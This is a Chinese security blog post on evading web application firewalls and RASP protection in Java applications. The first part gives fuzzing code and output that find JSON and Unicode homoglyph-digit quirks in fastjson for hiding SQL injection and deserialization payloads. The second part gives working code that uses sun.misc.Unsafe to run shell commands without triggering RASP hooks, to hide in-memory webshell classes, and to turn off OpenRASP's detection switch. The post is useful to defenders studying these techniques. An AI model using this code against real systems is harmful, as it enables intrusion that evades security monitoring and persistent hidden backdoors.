0%

引言

安全防护产品在进行防护的时候是需要对流量中的数据进行处理的,同样,被攻击的应用也需要处理这些数据以保证业务的正常进行,然而在很多情况下,安全产品处理数据流的框架和应用处理数据流的框架往往不同,在针对常规数据方面,当然不会出现问题,然而一旦被防护应用的数据处理框架的兼容性大于安全产品数据处理框架的兼容性,那么就会出现这么一种情形:攻击者提交的数据被应用正常解析,而安全产品解析失败,这样恶意的流量就会成功绕过安全产品进入被攻击的应用。因此寻求目标机器与安全防护产品在数据处理能力上的兼容性差异便会成为突破安全产品的一种卓尔有效的手段。

实战讲解

基于json解析兼容性的示例

以Java为例,现阶段市面上主流的处理json字符串的框架有fastjson、gson、jackson三种。常见的WAF为了保证对于各种语言开发应用的兼容性,一般会使用自写的json解析器。由于笔者在进行fuzz的过程中发现,gson和jackson在兼容性方面几乎没有任何差异,猜测这两种框架对于json数据的兼容应该代表着主流json解析器的能力,而fastjson在我的印象中一向拥有更强大的兼容性,所以产生想法,是否可以在一段正常的json数据中各个位置插入不同的字符使得gson(它代表着主流gson解析器)进行json解析时候报错,而fastjson能够正常解析,那么在对应用进行攻击的时候,一旦发现应用使用了fastjson框架,便能构造出WAF认不出来但应用可以认出来的数据,从而突破WAF的防御,代码思路如下

1
2
3
4
1、写一个正常的json字符串。
2、在它的各种位置尝试插入 1-65535 中的每个字符,生产一个非常规json。
3、将非常规json交给gson处理,报错。
4、交给fastjson处理,正常,将该json记录下来。

核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void jsonFuzz(String demo) {
CheckFunc func = new CheckFunc() {
@Override
public void check(String origin, String fuzzData, char fuzzChar) {
//由于打不风安全产品都会对字符串做trim处理,因此,如果fuzz的字符和原字符trim结果相同,基本没什么意义
if (!origin.trim().equals(fuzzData.trim())) {
try {
Entity entity = JSONObject.parseObject(fuzzData, Entity.class);
//********该测试用例中主要用来发掘fastjson兼容而gson不兼容的特性,但有些安全产品使用自研json解析器,json兼容性更差,则可以注释掉下面代码,直接fuzz出fastjson的全部特性
try {
Gson gson = new Gson();
Entity gsonEntity = gson.fromJson(fuzzData, Entity.class);
if (gsonEntity.toString().equals("Entity{num=666, content='test'}")) {
//如果gson能解了,就代表这个特性gson也是可以兼容的,说明这个fuzzData是无效数据,因为大家都能解,安全产品就具备对这种payload的防御能力了,所以直接return
return;
}
} catch (Exception ignored) {
//如果gson报错了,我们直接忽略它,让程序继续往下走,因为我们期待的数据就是fastjson能解,而gson解不出来的数据
}
//**************************gson-end***************
if (entity.toString().equals("Entity{num=666, content='test'}")) {
System.out.println("charNum: " + (int) fuzzChar + "|char: " + fuzzChar + "|content: " + fuzzData);
}
} catch (Exception exception) {
if (exception instanceof JSONException) {

} else {
exception.printStackTrace();
}
}
}
}
};
int length = demo.length();
for (int i = 0; i < length; i++) {
System.out.println("*************************插入字符位置:" + i + "*************************");
Utils.doFuzz(demo, i, HandleType.INSERT, func);
}
for (int i = 0; i < length; i++) {
System.out.println("*************************替换字符位置:" + i + "*************************");
Utils.doFuzz(demo, i, HandleType.REPLACE, func);
}
}

最终得出结果很多,欢迎大家去笔者github中拉取代码跑一下看一看,这里举出比较有代表性的几种写法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*************************插入字符位置:1*************************
charNum: 12|char: |content: {(这里有一个ascii为12的字符)"num":666,"content":"test"}
charNum: 44|char: ,|content: {,"num":666,"content":"test"}
*************************插入字符位置:10*************************
charNum: 40|char: (|content: {"num":666(,"content":"test"}
charNum: 41|char: )|content: {"num":666),"content":"test"}
charNum: 43|char: +|content: {"num":666+,"content":"test"}
charNum: 44|char: ,|content: {"num":666,,"content":"test"}
charNum: 45|char: -|content: {"num":666-,"content":"test"}
charNum: 59|char: ;|content: {"num":666;,"content":"test"}
charNum: 66|char: B|content: {"num":666B,"content":"test"}
charNum: 76|char: L|content: {"num":666L,"content":"test"}
charNum: 83|char: S|content: {"num":666S,"content":"test"}
charNum: 91|char: [|content: {"num":666[,"content":"test"}
charNum: 93|char: ]|content: {"num":666],"content":"test"}
charNum: 123|char: {|content: {"num":666{,"content":"test"}

通过以上特性去构造sql注入的payload,很多安全产品都无法成功解析数据,取得value,从而失去了sql注入的检测能力。(考虑到不少安全产品对于json采用流式解析,因此导致json异常的特殊字符一定要放在注入payload之前)

结论:Gson相对而言是一种功能较为强大的json解析器了,json兼容性其实算是比较优秀,在笔者的测试过程中也发现存在不少json是gson能解而市面上的WAF解不了了,大家可以去探索试验一下。

基于数字字符兼容性的示例

这个特性同样来自于Java,并且是一个大家耳熟能详的函数,

1
Integer.parseInt(str)

笔者在对该函数进行fuzz的过程中,发现Java的parseInt是支持异形字的,测试代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void getParseIntFuzzResult() {
for (char c = 0; c < 65535; c++) {
String str = Character.toString(c);
try {
for (int num : numList) {
if (Integer.parseInt(str) == num && !String.valueOf(num).equals(str)) {
System.out.println(num + ":->charNum: " + (int) c + "|char: " + str);
}
}
} catch (Exception ignored) {

}
}
}

测试结果如下(结果太长,同样只截取部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:->charNum: 1632|char: ٠
1:->charNum: 1633|char: ١
2:->charNum: 1634|char: ٢
3:->charNum: 1635|char: ٣
4:->charNum: 1636|char: ٤
5:->charNum: 1637|char: ٥
6:->charNum: 1638|char: ٦
7:->charNum: 1639|char: ٧
8:->charNum: 1640|char: ٨
9:->charNum: 1641|char: ٩
0:->charNum: 1776|char: ۰
1:->charNum: 1777|char: ۱
2:->charNum: 1778|char: ۲
3:->charNum: 1779|char: ۳
4:->charNum: 1780|char: ۴
5:->charNum: 1781|char: ۵
6:->charNum: 1782|char: ۶
7:->charNum: 1783|char: ۷
8:->charNum: 1784|char: ۸
9:->charNum: 1785|char: ۹

那么这个场景在哪里应用呢,同样是fastJson,审计fastjson的源码,会发现它支持unicode编码,并且在处理unicode编码的使用用到了Integer.parseInt

1
2
3
4
5
6
7
8
9
10
11
代码位置:com.alibaba.fastjson.parser.JSONLexerBase

case 'u':
char c1 = this.next();
char c2 = this.next();
char c3 = this.next();
char c4 = this.next();
int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
hash = 31 * hash + val;
this.putChar((char)val);
break;

我们取一条最常见的json字符串,看一看它的变形能到什么程度,

1
2
3
4
5
6
//原始json
{"content":"this is glassy","num":1}
//编码变形json
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\x74\x68\x69\x73\x20\x69\x73\x20\x67\x6c\x61\x73\x73\x79","\x6e\x75\x6d":1}
//编码+异形字相结合的变形json
{"\u꣐൦꤆३\u᠐꤀੬f\u꧐໐೬e\u᧐០၇᠔\u᥆໐᮶᠕\u০꩐᮶e\u᮰૦୭꯴":"\u౦௦᮷౪\u୦꣐᠖᪈\u꘠૦੬꘩\u૦೦༧୩\u०꩐꤂꤀\u༠᭐᭖᪉\u᪀۰೭꣓\u۰᧐᥈౦\u᠐၀᱆൭\u᥆၀௬c\u꯰꘠៦᪑\u๐᪐႗౩\u੦᥆۷୩\u०੦߇᧙","\u᱀٠۶e\u०᱀၇౫\u᠐੦꧖d":1}

同样通过异形字的变形,无论在反序列的的利用上还是sql注入的利用上绕过安全产品都可以取得一个比较不错的效果。

总结

通过兼容性突破安全产品的思路和场景当然远不止这些,我相信在类似于xml解析中可能也会存在类似问题,文章权当是抛砖引玉引出一种思路,欢迎优秀的白帽子们深入探索,末尾给出本次试验中的项目代码方便各位调试,查看结果。

UnSafe简介

基础概念

java和C语言相比有一个很大的区别,便是java没有指针,无需进行内存空间的操作(其中包含了内存的分配、内存的回收等等),这样大大简化了Java语言编写的难度,但与此同时,也导致Java语言失去了很多的灵活性。而UnSafe类的出现,便是为了弥补这种便利性的缺失,使Java也具备内存管理能力,但一旦操作不当,很容易造成内存泄漏等问题,这也是这个class给定义为UnSafe的原因。

关键API

下面给出的是笔者觉得比较好用的利用的API。

1
2
3
4
5
6
7
8
9
10
//将引用值存储到给定的Java变量中,根据变量的类型不同还有putBoolean、putInt等等
public native void putObject(Object o, long offset, Object x);
//返回给定的非静态属性在它的类的存储分配中的位置,往往和putXXX一起使用
public native long objectFieldOffset(Field f);
//返回给定的静态属性在它的类的存储分配中的位置,往往和putXXX一起使用
public native long staticFieldOffset(Field f);
//生产VM Anonymous Class,注意这个java中常说的匿名类并不是同一概念,该方法的出现是为了为java提供动态编译特性,在Lambda表达式代码中使用较多,由该函数生产的Class有一个很重要的特性:这个类被创建之后并不会丢到上SystemDictonary里,也就是说我们通过正常的类查找,比如Class.forName等api是无法去查到这个类是否被定义过的。
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);
//通过Class对象创建一个类的实例,不需要调用其构造函数、初始化代码、JVM安全检查等等。同时,它抑制修饰符检测,也就是即使构造器是private修饰的也能通过此方法实例化。
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

如何获取UnSafe

Unsafe类使用了单例模式,需要通过一个静态方法getUnsafe()来获取。但Unsafe类做了限制,如果是普通的调用的话,它会抛出一个SecurityException异常;只有由主类加载器加载的类才能调用这个方法。

目前大部分UnSafe的使用者都会使用反射的方式来获取UnSafe的实例,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static Unsafe getUnsafe() {
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

实战讲解

更深层的命令执行

随着RASP的发展,JNI的利用不断的被提上讨论范围,就命令执行这种利用而言,外部流出的大部分JNI的利用都是需要依赖第三方库的,但实际上,就linux来看,Runtime.getRuntime().exec() 本身的最底层就是一个JNI函数,

1
2
private native int forkAndExec(int mode, byte[] helperpath,
byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)

那么为什么我们讨论JNI利用的时候,不去直接反射调用forkAndExec函数呢,很重要的一个问题就是,这个函数不是静态方法,需要生成类实例,我们就需要往上层去调用UNIXProcess的构造方法去生成实例,而这样这种利用方式便不再是JNI的调用了,因为你调用了JAVA层的构造函数,这便是RASP产品可以触及到的领域了,细心观察也能发现目前大部分RASP产品都把命令执行功能的检测放到了UNIXProcess的构造方法上。

但是有了UnSafe的allocateInstance函数,一切就会变得简单起来,它可以在不调用UNIXProcess构造方法的前提下生成实例,并且由于allocateInstance本身也是native函数,那么实际上我们整个命令执行的关键点上都是通过JNI来完成了,可以完美避开RASP的防御,下面给出代码示例,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String cmd = "open /System/Applications/Calculator.app/";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

更隐蔽的内存马

内存马问题一向是安全产品中一个比较头疼的问题,一旦再在通信流量上进行了加密处理,那么无论是WAF(加密流量不可解)还是主机防御(木马存在于内存中不落盘)产品都比较难以去发现它。

但随着安全圈大佬们的深入研究,渐渐还是给出了一个较为可行的方案:通过Java Instrumentation进入到JVM内存之中,对JVM所有的加载的可能是木马的Class进行分析,一旦匹配到了较为明显的内存马特征,便对内存中的这个Class进行删除或则还原。目前比较常见的内存马特征有以下几种:

1
2
3
4
1、class的名字是否包含常见的恶意类名称
2、加载该class的classloader是否是危险的classloader,如TransletClassLoader或apache becl的classloader等等。
3、该class是否有落盘 -----该条属于明显特征
4、class中是否包含命令执行的恶意代码

而通过defineAnonymousClass生成的VM Anonymous Class具备如下特征:

1
2
3
4
5
6
1、class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。  ---将会使类名极具欺骗性
2、该class的classloader为null。 ---在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性

从现阶段内存马的检测模式为参考,可以发现VM Anonymous Class的特性将会大大影响到它的检测,从而形成更加隐蔽且难以处理的内存马。下面给出一段生成VM Anonymous Class的示例代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("java.lang.File");
//这里可以对内存马的class文件进行定制
byte[] data = ctClass.toBytecode();

Class memClass = getAnonymousMemShell(data);
Object memShellObj = memClass.newInstance();
//在这里可以把内存马的实例注入到内存中

String className = memClass.getName();
//可以打印一下className,发现其类名极具欺骗性
System.out.println(className);
//这里可以通过Class.forName尝试查找匿名类,会抛出异常
Class.forName(className);
}

public static Class getAnonymousMemShell(byte[] data){
Unsafe unsafe = Utils.getUnsafe();
return unsafe.defineAnonymousClass(File.class, data, null);
}

突破反射防御机制

近段时间,RASP攻防开始被不断聊起,关于RASP攻防,有一个基于反射的利用方式的提出具备十分强的杀伤性,其基本思路便是一旦攻击者拿到了一个代码执行权限,那么他便可以通过反射的方式取得RASP运行在内存中的开关变量(多为boolean或者AtomicBoolean类型),并把它由true修改为false,就可以使RASP得的防护完全失效。注意,开关变量只是其中一个最具代表性的思路,我们当然有更多的方法去破坏RASP的运行模式,如置空检测逻辑代码(如果RASP使用了js、lua等别的引擎),置空黑名单、添加白名单等

正是由于反射可能会造成较大的危害,不少RASP便有了恶意反射调用模块,jdk本身也有一个sun.reflect.Reflection来限制一些不安全的反射的调用,那么这个时候UnSafe模块便可以通过直接操作内存从而绕过代码层对于恶意反射调用的防御。示例代码如下,

反射修改openRASP的开关变量,将openRASP检测开关置为false,从而使openRASP完全失效。

1
2
3
4
5
6
7
8
9
10
11
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
} catch (Exception e) {
}

总结

由于UnSafe的大部分关键操作都是直接通过JNI去实现的,所以UnSafe的相关危险行为也都是RASP难以防护到的。而UnSafe相关的攻击代码目前也比较少,相关函数的指纹也不在大部分内容检测软件中,所以现阶段对于不少主机防御产品也能起到不小的作用。

最后在末尾附上一张UnSafe功能介绍图。

注:该图片系网上找的,未能发现图片源头,在此提前和作者道个歉。